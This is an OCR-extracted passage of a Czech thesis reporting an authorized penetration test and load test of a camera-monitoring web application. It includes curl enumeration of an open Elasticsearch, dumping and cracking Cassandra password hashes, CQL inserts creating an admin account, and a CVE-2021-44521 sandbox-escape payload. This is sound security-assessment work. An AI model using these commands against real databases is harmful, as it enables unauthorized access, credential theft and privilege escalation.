/ _cat/nodeattrs
/_cat/templates

5% je wildcard symbol
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Dalsim zajimavym koncovym bodem je _nodes, ktery obsahuje mimo jiné i in-
formace o opera¢nim systému, verzi jadra, verzi JVMS, cesty k umisténi sluzby
ElasticSearch v souborovém systému daného pocitace, a také cestu k logovacim
souborum sluzby ElasticSearch. Ve vypise 5.9 je ukazka extrakce informaci z API

pomoci nastroje jq.

Vypis 5.9: Vypis informaci ziskanych z koncového bodu _nodes

$ curl -s -X GET http://192.168.5.104:9200/ _nodes | jq ’.nodes."931
£f60f4-bcla-440c-8752-180b7b1b6ad3".settings .path’

{
"data": [
"/usr/elassandra-6.2.3.31/data/elasticsearch.data"
e
"logs": "/usr/elassandra-6.2.3.31/logs",
"home": "/usr/elassandra-6.2.3.31"
}

$ curl -s -X GET http://192.168.5.104:9200/ _nodes | jq ’.nodes."931
f60f4-bcla-440c-8752-180b7b1b6a43". jvm | {pid, version, vm_name,

vm_version, vm_vendor}’

{
"pid": 3029,
"version": "1.8.0_292",
"vm_name": "OpenJDK 64-Bit Server VM",
"vm_version": "25.292-b10",
"vm_vendor": "Private Build"

}

$ curl -s -X GET http://192.168.5.104:9200/ _nodes | jq ’.nodes."931
f60f4-bcla-440c-8752-180b7blb6asd3".os’

{
"refresh_interval_in _millis": 1000,
"name": "Linux",
"arch": "amd64",
"version": "5.4.0-89-generic",
"available_processors": 4,
"allocated_processors": 4

X

Dostupné indexy lze zobrazit a mappingy téchto indexti lze vyfiltrovat z konco-
vého bodu /_cluster/state (opét pomoci néastroje jq), jak je demonstroviano ve
vypise 5.10. Alternativnim zptsobem, jak ziskat seznam indexu a jejich mappingt,

je dotaz na koncovy bod /_cat/indices a /_cat/indices/<jméno indexu>.

6 Java Virual Machine
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Vypis 5.10: Vypis indexii a dostupnych mappingt na téchto indexech

$ curl -s -X GET http://192.168.5.104:9200/ _cluster/state | jq ’.

metadata.indices | keys’
L

"api",

"azd_cameras"
]

$ curl -s -X GET http://192.168.5.104:9200/ _cluster/state | jq ’.

metadata.indices.api.mappings | keys’

"status"

$ curl -s -X GET http://192.168.5.104:9200/ _cluster/state | jq ’.

metadata.indices.azd_cameras.mappings | keys’

"events_history_by_source"

ElasticSearch REST API umoznuje vyhledavani, jak v jednotlivych indexech,
tak i ve vSech indexech. Tuto funkcionalitu je mozné vyuzit k ziskani vsech zdznamu
z databdze nebo zdznami pouze pro konkrétni indexy. Ukézka moznosti vyuziti

vyhledavaci funkcionality je zachycena ve vypise 5.11.

Vypis 5.11: Vyhledavani v indexech

$ curl -s -X GET http://192.168.5.104:9200/ _search | jq ’.hits.hits

)

[
{
"_index": "api',
"_type": "status",
"_id": "B-4Z2X4B3MFB-L5MKrWsS",
" score": 1,
" source": {
"sourceId": "059897a9-a940-4ce3-94f2-cdb6c89ddb53",

"cpuUsage": 25,

"humidity2": 84,

"humidityl": 85,
"batteryAvailableCapacity": 99,
"gpuUsage": 10,
"freeDiskSpace": 10000,
"voltage": 14.75,
"freeMemSpace": 100,
"batteryState": "discharging",
"temperature2": -20.4,
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"temperaturel": 36.8,
"time": "2022-02-08T12:29:00.000Z"

5.2.2 Testovani moznosti injekce do databaze

Sluzba ElasticSearch umoznuje z databaze nejen ¢ist, ale také do ni zapisovat. Dalsim
krokem testovani tedy bylo zjisténi moznosti zapisu do databaze. Zapis lze provést
POST pozadavkem, do casti pro data POST pozadavku je umistén JSON objekt,
ktery bude vlozen na konkrétni index, pokud index neexistuje bude takovy index

vytvoren. Ve vypise 5.12 je demonstrovano vytvoreni indexu.

Vypis 5.12: Testovani prav zapisu do databaze - vytvoreni indexu

$ curl -s -v -X POST °192.168.5.104:9200/bookindex/books’ -H ’
Content-Type: application/json’ -d’

{
"bookId" : "AA-00",
"author" : "Test",
"publisher" : "Test",
"name" : "Testing write access"

} )

Ovérit vysledek pokusu o vytvoreni nového indexu je mozné jednim ze zpusobii,
které byly popsany vyse.
Obdobnym zptsobem lze pridavat zaznamy do jiz existujicich indexti /api/status

a /azd_cameras/events_history_by_source.
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5.3 Testovani portu 9042 - Apache Cassandra

Apache Cassandra je NoSQL databaze pouzivajici CQL (Cassandra Query Langu-
age). CQL a SQL jsou si do jisté miry podobné s drobnymi odchylkami v termino-
logii. Port 9042 je ,,CQL native transport* portem, podle dokumentace je mozné se
k nému piipojit pomoci néstroje cqlsh, ktery je mozné ziskat ze stranek datastax’

nebo jej lze nainstalovat jako python module, tedy pomoci nastroje pip.

5.3.1 Testovani moznosti pfipojeni

Prikaz pouzity k pripojeni pomoci nastroje cqlsh je uveden ve vypise 5.13. Jak je

vidét ve zminéném vypise, tak pripojeni probéhlo tispésné, dokonce i bez autorizace.

Vypis 5.13: Ptikaz pouzity k pripojeni pomoci nastroje cqlsh

$ ./cqlsh 192.168.5.104

Connected to AZDcluster at 192.168.5.104:9042.

[cqlsh 5.0.1 | Cassandra 3.11.7.1 | CQL spec 3.4.4 | Native
protocol v4]

Use HELP for help.

cqlsh>

5.3.2 Ziskavani informaci o databazi

Prikazem describe tables je mozné ziskat seznam jednotlivych tabulek a jejich

rozmisténi v tzv. ,keyspaces“8.

Vypis 5.14: Popis tabulek a jejich rozmisténi v ramci , keyspaces*

cqlsh> describe tables

Keyspace system_schema

tables triggers views keyspaces dropped_columns

functions aggregates 1indexes types columns

Keyspace system_auth

resource_role_permissons_index role_permissions role_members

roles

Keyspace system

"https://docs.datastax.com/en/install/6.8/install/installCqlsh.html
8 Keyspaces® si lze predstavit jako ekvivalent databazi u SQL
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available_ranges peers batchlog

transferred_ranges

batches compaction_history size_estimates hints
prepared_statements sstable_activity built_views
"IndexInfo" peer_events range_xfers
views_builds_in_progress paxos local

Keyspace api

status

Keyspace elastic_admin

metadata_log

Keyspace system_distributed

repair_history view_build_status parent_repair_history

Keyspace system_traces

events sessions

Keyspace azd_cameras

camera_info_history camera_info_current_state users

events_history_by_source alerts_history

Detailni popisy jednotlivych tabulek lze ziskat piikazem describe <keyspace
name>.<table name>, nebo po vybéru daného keyspace pomoci piikazu use <keyspace

name> a nasledné pomoci piikazu describe <table name>.

5.3.3 Extrakce dat z databaze

Obdobné jako ma MySQL databédze uzivatele ulozené v mysql.user, ma databéze
Apache Cassandra uzivatele ulozené v system_auth.roles. Obsah této tabulky je
spolu s prikazem pouzitym k jejimu vypisu zachycen ve vypise 5.15. Tady timto zpi-
sobem byly ziskany hashe hesel jednotlivych uzivatelt databaze, v tomto pripadé se
jednd o jediného uzivatele (cassandra). Pomoci néstroje john bylo mozné prolomit

tento hash a ziskat tak heslo k tomuto uc¢tu?.

97iskani hesla vSak nemélo zadny vétsi dopad, jelikoZ pro piipojeni k databézi a jeji spravu
pomoci nastroje cqlsh nebyla vyzadovana autorizace.
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Vypis 5.15: Vypis databazovych uzivatelskych uctia

cqlsh> expand on
Now Expanded output is enabled

cqlsh> select * from system_auth.roles;

@ Row 1
______________ +_____________________________
role | cassandra
can_login | True
is_superuser | True
member_of | null
|

salted_hash $2a$10$Y35tYzH.Nw---8<---dm

Zajimavé  keyspaces® jsou také api a azd_cameras. Oba ,keyspaces® kore-
sponduji s indexy nalezenymi pri testovani sluzby ElasticSearch. V  keyspace*
azd_cameras je velice zajimava tabulka users. Prikaz pro vypis jednotlivych polo-
zek z tabulky azd_cameras.users je spolu s vystupem tohoto pfikazu uveden ve

vypise 5.16.

Vypis 5.16: Vypis polozek z tabulky azd_cameras.users

cqlsh> select * from azd_cameras.users;

username | full_name | password_hash | user_role

---------- e et et e
student student 2B === <L===185 User
omezeny Omezeny Uzivatel 85---8<---27 User

33---8<---81
4B---8<---BE

psikora Sikora Pavel

| | |
| | |
admin | Admin Admin | 4F---8<---FB | Admin
| | |
| Jan Bachorec | |

jbach

Ponékud zvlastni je rozdilnd délka textovych fetézcti v poli password_hash,
coz znesnadnuje identifikaci pouzité hashovaci funkce. Pokus o crackovani hasht by
tedy byl narocnéjsi, ale nikoliv nemozny'?. Cim je rozdilnd délka textovych Fetézct
v poli password_hash zptisobena, lze zjistit analyzou zdrojového kédu aplikace. Télo
funkce, ktera je zodpovédna za vytvareni hashi, je uveden ve vypise 5.17. Rozdilna
délka vysledného Tetézce je dana pouzitim metody ToString(X), jez vytiskne dany
byte jako string s presnosti na jedno misto. Tedy vSechny byte hodnoty zacinajici
nulou by byly zapsany pouze jako jeden znak. Naptiklad byte OA by byl vytisknut
jako A.

ONapiiklad webové strdnka https://crackstation.net, je schopna detekovat i ¢astecnou
shodu poskytnutého hashe a predlohou hashe ze své databaze. Je tedy mozné prolomit nékteré
slovnikové hashe i v pripadé, ze poskytnuty hash neobsahuje 1-2 znaky oproti ,spravné“ vytvore-

nému hashi.
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Vypis 5.17: Hashovaci funkce zptisobujici rozdilnou délku hasht

SHA256 sha256Hash = SHA256.Create();
byte [] hashBytes sha256Hash.ComputeHash (Encoding.UTF8.GetBytes (

password) ) ;

StringBuilder sb = new StringBuilder ();

for (int i = 0; i < hashBytes.Length; i++)
{
sb.Append (hashBytes [i].ToString ("X"));

}
return sb.ToString();

Obdobnym zptsobem, kterym byla ziskana data z tabulky azd_cameras.users,
lze ziskat data i z ostatnich tabulek. Data obsazena ve dvou fadcich tabulky

azd_cameras.camera_info_history jsou uvedena ve vypise 5.18

Vypis 5.18: Vypis dat dvou radkti z tabulky azd_cameras.camera_info_history

cqlsh> select * from azd_cameras.camera_info_history limit 2;

@ Row 1

__________________ o o
source_id | c9931362-1ed9-4c76-97cc-43a71b49fb61
time | 2022-03-28 17:36:13.000000+0000
cpu_usage | 16
free_disk_spacel | 72
free_mem_space | 56
gpu_usage (0]
temperaturel | 26.17523
temperature?2 | 34

@ Row 2

source_id c9931362-1ed9-4c76-97cc-43a71b49fb61

|

time | 2022-03-28 17:29:57.000000+0000
cpu_usage | 19

free_disk_spacel | 72

free_mem_space | 56

gpu_usage (0]

temperaturel | 27.3233

temperature?2 | 37
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5.3.4 Zneuziti zranitelnosti
Uprava dat v databazi

Manipulaci s daty v databézi lze provadét pomoci prikazt jako napriklad INSERT,
UPDATE, nebo DELETE. Syntaxe jednotlivych ptikazl je velmi podobna SQL syntaxi.

V dusledku Spatné konfigurace je potencialni tito¢nik schopen, nejen dostat z da-
tabaze jinak neptistupnd data, ale muze i pridavat, upravovat a mazat tato data,
véetné uzivateli webové aplikace.

Ukéazka vytvoTreni nového uzivatelského ti¢tu pro webovou aplikaci s opravnénimi
administratora je zachycena ve vypise 5.19. Ve vypise 5.20 je uveden prikaz pro udé-
leni administratorskych opravnéni existujicimu tcétu, v tomto pripadé uctu student

poskytnutému pro ucely testovani.

Vypis 5.19: Vytvoreni nového uzivatelského uctu

insert into azd_cameras.users (username, full_name, password_hash,

user_role) values (’insert’, ’insert’, ’26---8<---BB’, ’Admin’);

Vypis 5.20: Pridéleni administratorskych opravnéni uzivatelskému uctu

update azd_cameras.users set user_role = ’User’ where username = ’

student’;

5.3.5 Testovani znamych zranitelnosti (CVE)

Na zékladé znalosti o pouzivané verzi Apache Cassandra (ziskané z vypisu 5.13)
byl vytvoren seznam zranitelnosti tykajici se této verze (a novéjsich verzi). Vsechny

jednotlivé zranitelnosti pak byly otestovany.

CVE-2021-44521

CVE-2021-44521 umoznuje vzdalené spousténi prikazi (,,Remote Code Execution®,
¢asto oznacCovano jen jako ,RCE®). Piikaz k otestovani této zranitelnosti je spolu

s vystupem tohoto prikazu uveden ve vypise 5.21.

Vypis 5.21: Piikaz k otestovani zranitelnosti CVE-2021-44521 a jeho vystup

cqlsh> create or replace function azd_cameras.escape_system(name
text) RETURNS NULL ON NULL INPUT RETURNS text LANGUAGE
javascript AS $$

var System = Java.type("java.lang.System");System.
setSecurityManager (null) ;this.engine.factory.scriptEngine.eval(’

java.lang.Runtime.getRuntime () .exec("sleep 10")’);name $$;
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InvalidRequest: Error from server: code=2200 [Invalid query]
message="User-defined functions are disabled in cassandra.yaml -

set enable _user_defined_functions=true to enable"

Vysledkem testovaciho prikazu je chybova hlaska, kterd oznamuje, ze tadek
enable user_defined functions je v konfiguracnim souboru Apache Cassandra
nastaven na hodnotu false. Server je tedy v soucasném stavu zabezpecen proti zra-
nitelnosti CVE-2021-44521, presto je doporuceno aktualizovat Apache Cassandra na

nejnovejsi verzi.
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5.4 Testovani webové aplikace - port 443

Testovani webové aplikace bylo provedeno prevazné za pomoci OWASP WSTG!!.

5.4.1 Sbirani informaci

Prvni kategorie kontrolniho seznamu je vénovana jak pasivnimu, tak i aktivnimu

sbéru informaci o testované aplikaci.

Pasivni sbér informaci

Pro potencidlniho ttoc¢nika je velmi cennym zdrojem predevsim publikace ve sbor-
niku EEICT!2. V tomto dokumentu je popsana struktura kamerového systému a po-

uzité technologie.

Aktivni sbér informaci

V tomto kroku byly analyzovany odpovédi webového serveru na rizné pozadavky.
Ukazka takového testovani je uvedena ve vypise 5.22. V tomto vypise byly kontro-
lovany predevsim hlavicky odpovédi. Spravna konfigurace hlavicek HTTP serveru
byva casto podcenovana. Prikladem Spatné konfigurace je hlavicka Server, kterad
prozrazuje informace o pouzité technologii webového serveru. Naopak prikladem
spravné konfigurace je hlavicka Strict-transport-security, kterd zajistuje pre-

nos dat pouze zabezpecenym kanalem.

Vypis 5.22: Testovani odpovédi webového serveru

$ curl -sk https://192.168.5.105 --head

HTTP/2 200

cache-control: no-cache, no-store

pragma: no-cache

content-type: text/html; charset=utf-8

server: Microsoft-IIS/10.0

strict-transport-security: max-age=2592000

set-—cookie: .AspNetCore.Antiforgery.tSE2I8vKIrw=
CfDJ8JvcseTRRchKjdeXrG1L61SKDKNOGi9v -
Kx31SN1pOBKqqVJJfA9ZaDSQHAS5vGYfa3c1Cae5AVF94gnczihldCqW_d -
z0o7cM9qJA_o02CVwXcDBPMO61Kyj8x0005DTObKnwzL9f1E_vABKC4Rbw94iE;
path=/; samesite=strict; httponly

x-frame-options: SAMEORIGIN

date: Wed, 20 Apr 2022 08:23:52 GMT

Uhttps://owasp.org/www-project-web-security-testing-guide/
2https://www.fekt.vut.cz/conf/EEICT/archiv/sborniky/EEICT_2021_sbornik_2.pdf
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5.4.2 Testovani konfigurace a deploy managementu

Jiz. diive zjisténym nedostatkem je predvidatelnost hesel. Diky informaci o ser-
veru a jeho verzi (z hlavicky Server) bylo mozné vyhledat znamé zranitelnosti
pro tuto technologii. Zjisténym nedostatkem je zranitelnost serveru na zranitelnosti
CVE-2022-21907 a CVE-2021-31166. Obé zranitelnosti jsou si velmi podobné. Tento
skript!3, ktery byl pouZit k otestovani zranitelnosti CVE-2022-21907, zptisobi De-
nial of Service (DoS) tim, ze restartuje server. Jelikoz se jedna o zranitelnost typu
Buffer Overflow, je mozné vhodnou tpravou skriptu dosdhnout Remote Code Ezxecu-
tion (RCE) - tedy vzdaleného spousténi prikazu, coz je kritickd zranitelnost, ktera
muze vést az k iplné kompromitaci serveru. Vytvoreni skriptu, ktery by RCE umoz-

noval, je nad ramec tohoto textu.

5.4.3 Testovani spravy identit

V této kategorii nebyly nalezeny zadné zavazné problémy. Jedinou nedokonalosti
systému je moznost uzivatele s roli Admin upravovat i ostatni uzivatele s roli Admin.
Pokud by se utoc¢nikovi podarilo kompromitovat, nebo vytvorit, uzivatelsky tcet
s roli Admin, byl by pak schopen smazat opravnéné administratory, nebo jim admi-

nistratorska opravnéni odebrat.

5.4.4 Testovani autentizace

Jak jiz bylo dfive v tomto textu zminéno, tak hesla nékterych uzivatelii byla slaba
(slovnikova). Dalsimi nedostatky webové aplikace jsou absence uzamdceni uzivatel-
ského 1c¢tu po urcitém poctu pokusti a absence mechanismu vyzadujiciho silné hesla.
Uzamceni uzivatelského tuc¢tu po prekroceni limitu Spatnych prihlaseni by pomohlo
zabranit slovnikovym utokim na uzivatelské ucty. Mechanismus na vyzadovani sil-
nych hesel by se mél tidit doporuc¢enim National Institute of Standards and Techno-
logy (NIST).

Testovani moznosti obejiti prihlaSovaci stranky

Velmi castym problémem webovych aplikaci byva SQL injekce. SQL injekce existuje
nékolik druhi. Neékteré z nich umoznuji tplné obejit prihlasovaci stranku webové
aplikace a ziskat tak pristup do aplikace jako néktery uzivatel. Béhem predchozich

fazi testovani byly ziskany poznatky'* o pouzité databézi.

3https://github.com/polakow/CVE-2022-21907
147e se jedna o Apache Cassandra, kterd pouziva CQL syntaxi, kterd je takika totozna s SQL

syntaxi.
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Existuje velké mnozstvi zdroju s testovacimi fetézci pro otestovani prihlasovacich
stranek webovych aplikaci - takto by se postupovalo pri Black-Box metodé testovani.
Toto testovani vsak probihd testovaci metodou Grey-Box, kdy ma tester pristup
ke zdrojovym kédim webové aplikace. V takovém piipadé je ovéreni tohoto typu
zranitelnosti podstatné urychleno.

Ve vypise 5.23 je uvedena cast kodu, ktera pti pokusu o prihlaseni vytvari dotaz
do databéze, jestli dany uzivatel existuje. K vytvoreni CQL dotazu (,,CQL query*)
je pouzit parametrizovany dotaz(,Parametrized Query“), ktery zajistuje ochranu
proti utokam typu CQL Injekce (,,CQL Injection*).

Vypis 5.23: CQL Parametrizovany dotaz

—e=flo==
("SELECT username FROM users WHERE username = 7", username) ;
—e=flo==

5.4.5 Testovani validace dat

V této fazi testovani jsou webové aplikace predkladany rizné vstupy, které maji
za ukol ovérit celou skalu zranitelnosti, jako je napiiklad XSS, SQL injekce, LDAP
injekce, XML injekce, SSTI, injekce kodu, injekce systémovych prikazu, apod. Ana-
lyzou zdrojového kodu byly identifikovany vstupni body aplikace, do nich potom

byly vkladany vstupy pro otestovani kazdé zranitelnosti.

Testovani s béZnym uzivatelskym actem

K tomuto testovani byl pouzit tcet pridéleny k potiebam testovani. Jedinym vstup-
nim bodem, pro bézného uzivatele, je moznost zménit nazev kamery. Zména kamery
ovsem probihd parametrizovanym dotazem do databéze, ¢imz je zabranéno SQL in-
jekci (v tomto pripadé spise CQL injekci). Jméno kamery je poté pred zobrazenim

kédovano HTML kédovanim, ¢imz je zabranéno XSS, SSTI a podobnym ttoktim.

Testovani s administratorskym uzivatelskym Gc¢tem

K tomuto testovani byl pouzit uzivatelsky ucet vytvoreny diky chybné konfigu-
raci portu 9042 (nevyzaduje autentizaci). Uzivatel s administratorskym opravnénim
miZe navic spravovat ostatni uzivatelské tcty (vytvaret, editovat a mazat). Podobné
jako tomu bylo u zmény jména kamery, i v tomto pripadé jsou vsechny zapisy do
databaze provadény parametrizovanymi dotazy, tedy jsou bezpecné. Zobrazeni dat
z databédze (jméno, prijmeni, uzivatelské jméno) je opét kédovano HTML kdédova-

nim, coz zabranuje XSS, SSTI a podobnym utoktm.
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Testovani s pouzitim retézeni zranitelnosti

Diky spatné konfiguraci portu 9042 je tito¢nik schopen vzdéalené spravovat CQL da-
tabazi, zmény provedené v databazi jsou pak zobrazeny vsem uzivatelim webové
aplikace. Jak jiz bylo zminéno diive, tak data, ziskand webovou aplikaci z data-
baze, jsou kdédovana HTML kédovanim, ¢imz je zabranéno XSS, SSTI a podobnym

utoktum.

5.4.6 Testovani chybovych hlasek

Chybové hlasky webové aplikace jsou spravné nastaveny. Nelze je vyuzit napriklad
k enumeraci uzivatelskych jmen, ani v nich nejsou obsazeny citlivé informace jako

napriklad cestu k soubortim na disku nebo ,stack trace*.

5.4.7 Testovani pouzité kryptografie

Aplikace pouziva bezpecnou verzi TLS a pouzité Sifrovaci algoritmy jsou v dnesni
dobé povazovany za bezpecné. Certifikat serveru neni vydany vérohodnou certifi-
ka¢n{ autoritou, ale je vydany samotnym serverem. Utoénik by tedy mohl provést
utok Man in the Middle (MITM) - vytvorit svij vlastni certifikdt a presmérovat uzi-
vatele na svij server, uzivatel by v takovém pripadé nemusel byt schopen rozeznat,

zdali se jedna o skutecnou nebo podvrzenou webovou stranku.
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5.5 Zatézové testovani

Zatézové testovani bylo provedeno pomoci nastroje Apache JMeter!s.

5.5.1 Popis testovacich scénari

Pro zatézové testovani bylo vytvofeno 5 testovacich scénait. Cty¥i scénafe testuji
odolnost webové aplikace proti naporu uzivateli. Dalsi dva scénare pak simuluji
dlouhodobé pouzivani webové aplikace.

Kazdy simulovany uzivatel nejprve navstivi ptrihlasovaci stranku a prihlasi se.
Poté kazdy simulovany uzivatel ndhodné ptistupuje na jednotlivé stranky v aplikaci.
Po dokonceni brouzdani webovou aplikaci se uzivatel odhlasi.

Prvni 4 scénatfe obsahuji 10, 100, 1 000 a 10 000 uzivateli, pricemz aktivita
kazdého uzivatele kon¢i v okamziku jeho odhléseni z webové aplikace.

Paty a Sesty scénar obsahuji 100 a 1 000 uzivateli. Ve scénari s 100 uzivateli
pouzije webovou aplikaci kazdy uzivatel tisickrat. V pripadé 1 000 uzivateli pouzije

kazdy uzivatel webovou aplikace celkem stokrat.

5.5.2 Spole¢né nastaveni testovacich scénari

Struktura jednotlivych scénaii je zachycena na obrazku 5.16. Testovaci scénar se-
stava z jedné skupiny uzivatelu (,, Thread Group*). Kontrolér ,User activity® je
logicky ,transaction controller“, do kterého jsou umistény dalsi logické kontroléry.
Vyhodou ,transaction controlleru oproti ,,Simple contorlleru® je zpracovani statis-
tik kontroléru jako jeden celek.

Kontrolér ,,Login Process“ je logicky , Transaction controller“, obsahujici HT'TP
pozadavky potfebné k tispésnému prihlaseni do webové aplikace. Témito HT'TP po-
zadavky jsou GET pozadavek na domovskou stranku a POST pozadavek, posilajici
data potfebna k prihlaseni do webové aplikace. Mezi data potfebna k tspésnému
prihlaseni patii, mimo spravné uzivatelské jméno a heslo, i Anti-CSRF token, ktery
je vyextrahovan z odpovédi na GET pozadavek na domovskou stranku.

Dalsi kontrolér simuluje chovani uzivatele ve webové aplikaci. Sklada se z ,,Loop
controlleru®, ktery obsahuje ,Random controller”. ,Loop controller nékolikrat
spusti ,Random controller“. ,Random controller” vybere jeden ze t¥i ,Simple con-
trolleri“ a spusti jej. Opakovaci hodnota ,,Loop controlleru“ byla nastavena na 5.

Jednotlivé ,Simple controllery“ uvniti ,,Random controlleru* simulovaly navsti-
veni jedné karty z menu webové aplikace a provedeni akci moznych v dané karté.

Napr. navstiveni karty ,Kamery“ a zobrazeni detailu vybrané kamery.

https://jmeter.apache.org
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Obr. 5.16: Stromova struktura testovacich scénaru
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Kontroléru, simulujicimu chovani uzivatele uvniti aplikace, byl nastaven , Think
time“ casovac, ktery simuluje cas, ktery uzivatel pottebuje k vykonani dalsi akce ve
webové aplikaci. Hodnota zpozdéni byla ndhodné zvolena od 300 ms do 1 500 ms.

Kontrolér, simulujici proces odhlaseni, sestava pouze z jednoho POST poza-
davku, ktery provede odhlaseni uzivatele. K odhlaseni uzivatele je ovSem potieba
Anti-CSRF token, ktery je soucasti odpovédi na jakykoliv pozadavek. Jelikoz je
chovani uzivatele uvnitt webové aplikace nahodné, aby co nejvérnéji simulovalo sku-
tecny provoz, bylo nutné po kazdém HTTP pozadavku vyextrahovat Anti-CSRF

token, aby mohl byt pouzit pfi procesu odhlaseni uzivatele z webové aplikace.

5.5.3 Individualni nastaveni testovacich scénaru

Nastaveni hodnot testovacich skupin uzivatelt je uvedeno v tabulce 5.1. V prvnim
sloupci ,,Threads“ je uveden pocet vlaken daného testu. Kazdé vlakno predstavuje
jednoho uzivatele, tedy pocet vlaken odpovida poc¢tu simulovanych uzivateli. Druhy
sloupec ,,Ramp-up period*“ uvadi dobu, za kterou jsou vytvoreny vsechna vlakna
(vSichni uzivatelé) daného testu, v sekundéach. Sloupec ,Loops* obsahuje hodnotu,

ktera uvadi kolikrat je kazdé vldkno zopakovano, neboli kolikrat je kazdy uzivatel

simulovan.

Threads | Ramp-up period (s) | Loops
Test 1 10 2 1
Test 2 100 15 1
Test 3 1 000 30 1
Test 4 | 10 000 180 1
Test 5 100 15 1000
Test 6 1 000 120 100

Tab. 5.1: Tabulka nastaveni hodnot jednotlivych testi

5.5.4 Vysledky testii

Vysledky jednotlivych testi byly ulozeny do .csv soubori, z téchto soubori byly
poté vygenerovany zavérecné zpravy ve formatu .html. Zavérecné zpravy lze vy-
generovat pomoci nastroje jmeter z prikazové tadky, ukazka prikazu pouzitého
k vygenerovani zavérecné zpravy je zachycena ve vypise 5.24. Prepinacem -g je
specifikovana cesta k souboru se statistikami, ze kterého bude zavérecna zprava
vytvorena. Prepinac¢ -o specifikuje slozku, do které budou vytvoreny soubory zaveé-
recné zpravy, slozka musi byt prazdna nebo nesmi existovat pred spusténim piikazu

k vygenerovani zavéreéné zpravy.
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Vypis 5.24: Prikaz k vytvoreni zavérecné zpravy

$ jmeter -g <soubor> -o <slozka>

$ jmeter -g ./Results/Result-1000-Users.csv -o ./Reports/Report
-1000-users

Vysledky testovani ,,zaplavou uzivatel(

Na nasledujicich obrazcich jsou zobrazeny vysledky k porovnani jednotlivych testi,
u kterych byl kazdy uzivatel simulovan v prubéhu testu pravé jednou. Vysledky jsou
sefazeny odshora pro 10, 100, 1 000 a 10 000 uzivateli.

Na obrazku 5.17 je porovnani uspésnosti HT'TP pozadavkt pri jednotlivych tes-
tech. Uspésnost testit s 10, 100 a 1 000 uZivateli byla 100%. V p¥ipadé 10 000
uzivatelt skoncila témeér jedna c¢tvrtina HTTP pozadavkl chybou.

Na obrazku 5.18 je porovnani casi odpovédi webové aplikace na HTTP poza-
davky pri jednotlivych testech. Na ose y se nachazi pocet HT'TP pozadavki odesla-
nych na webovou aplikaci, na ose x jsou ¢asova rozmezi odpovedi webové aplikace na
prislusné HTTP pozadavky. Zeleny sloupec znazornuje pocet odpovédi webové apli-
kace, které byly vyifzeny za méné nez 500 ms od odeslani HTTP pozadavku. Zluty
sloupec znézornuje pocet odpovédi webové aplikace, které byly vytizeny v rozmezi
od 500 ms do 1 500 ms od odeslani HTTP pozadavku. Oranzovy sloupec znazor-
nuje pocet odpovedi webové aplikace, které byly vyfizeny za 1 500 ms nebo vice
od odeslani HTTP pozadavku. Cerveny sloupec znazorituje pocet odpovedi webové
aplikace, které nebyly vytizeny.

Casové rozmezi jednotlivych sloupcit bylo voleno dle standardu APDEX!6. Dle
tohoto standardu je uzivatel spokojeny s aplikaci, kterd odpovi do 500 ms. Aplikaci,
kterd odpovi v rozmezi 500 ms az 1 500 ms, uzivatel toleruje. Pokud c¢as na odpoveéd
aplikace prekroc¢i 1 500 ms zacina byt uzivatel frustrovany.

V pripadé 10 a 100 uzivatelt byly vsechny zadosti vytizeny do 500 ms. V pripa-
dech 1 000 a 10 000 uzivateli byla vétsina pozadavki zpracovana za vice nez 1 500
ms.

Na obrazku 5.19 je zobrazena distribuce ¢asu zpracovani HT'TP pozadavki webo-
vou aplikaci. Na ose y se nachazi pocet HT'TP pozadavki, na ose x se nachazi cas
potfebny ke zpracovani HT'TP pozadavku a odeslani odpovédi v milisekundach.

Pri testu s 10 uzivateli dokazala webova aplikace zpracovat vSechny pozadavky
do 1 sekundy.

Pri testu se 100 uzivateli dokazala webova aplikace zpracovat témér vsechny po-

zadavky do 1,2 sekundy, pouze 3 pozadavky trvalo zpracovat déle nez 1,2 sekundy.

https://www.apdex.org/
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Obr. 5.17: Srovnani tspésnosti HT'TP pozadavkl jednotlivych testt
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Obr. 5.18: Srovnéani cast odpovédi webové aplikace pri jednotlivych testech
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Pri testu s 1 000 uzivateli potiebovala webova aplikace 55 az 65 sekund na zpraco-
vani vétsiny pozadavk.

P1i testu s 10 000 uzivatelu lze v grafu pozorovat 3 Spicky, prvni Spicka (asi jedna
tretina pozadavki) ma dobu na zpracovani pozadavku 50 az 70 sekund, druhd Spicka
je od 150 sekund do 210 sekund, tedy od 1,5 minuty do 2,5 minuty. TTteti Spicka je od
275 sekund do 310 sekund, coz zhruba odpovida 4-5 minutam na vytizeni jediného
pozadavku na webovou aplikaci.

Z tohoto srovnani vyplyva, ze aplikace poskytuje dobry uzivatelsky zazitek pro
100 uzivateli, pokud vSak pocet uzivateli vzroste na 1 000 (nebo 10 000) uzivateld,
pak je uzivatelsky zazitek velmi Spatny.

Grafy na obrazku 5.20 znazornuji zavislost primérného zpozdéni jednotlivych
stranek webové aplikace na uplynulém case daného testu. V tomto srovnani lze po-
zorovat, jak s narustajicim poctem uzivateli pouzivajicich webovou aplikaci v jed-
notlivych testech roste také primeérné zpozdéni jednotlivych stranek webové apli-
kace.

Na obrazku 5.21 je zachycen graf statistiky ,Hits per second“. Tento graf ma na
ose y pocet pozadavki odeslanych na webovou aplikaci za sekundu, na ose x je pak
cas od zacatku testu.

y

Vysledky testovani dlouhodobého pouzivani

Na nasledujicich obrazcich jsou zobrazeny vysledky k porovnani jednotlivych testi,
u kterych byl kazdy uzivatel simulovan v pribéhu testu nékolikrat. Vysledky pro 100
uzivatel s 1 000 opakovanimi se nachézi vzdy nahore. Vysledky pro 1 000 uzivatel
s 100 opakovanimi se nachazi vzdy dole.

Na obrazku 5.22 je srovnani tspésnosti HI'TP pozadavki jednotlivych testi.

Uspésnost obou testt byla takika stoprocentn.
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Obr. 5.19: Srovnani distribuce ¢ast odpovédi webové aplikace pfi jednotlivych tes-
tech
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Obr. 5.20: Srovnani zpozdéni odpovédi webové aplikace pti jednotlivych testech
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Obr. 5.21: Srovnani poc¢tu odeslanych pozadavku za sekundu na webovou aplikaci

pri jednotlivych testech
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Obr. 5.22: Srovnani uspésnosti HT'TP pozadavki jednotlivych testi

Na obrazku 5.23 je zobrazeno srovnani ¢asti odpovédi webové aplikace na HT'TP
pozadavky obou testtl. Sloupce piedstavuji ¢asové rozmezi dle standardu APDEX'.
Pro detailni popis rozdéleni sloupct viz 5.5.4 (odst. 3 a 4).

"https://www.apdex.org
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Na obrazku 5.24 je zobrazena distribuce ¢asu zpracovani HT'TP pozadavki webo-

vou aplikaci.

Pri scénari se 100 uzivateli byla vétsina pozadavkit vytizena do 500 ms. Prii

scénari se 1 000 uzivateli byla vétsina pozadavki vyfizena v rozmezi od 60 sekund

do 110 sekund.
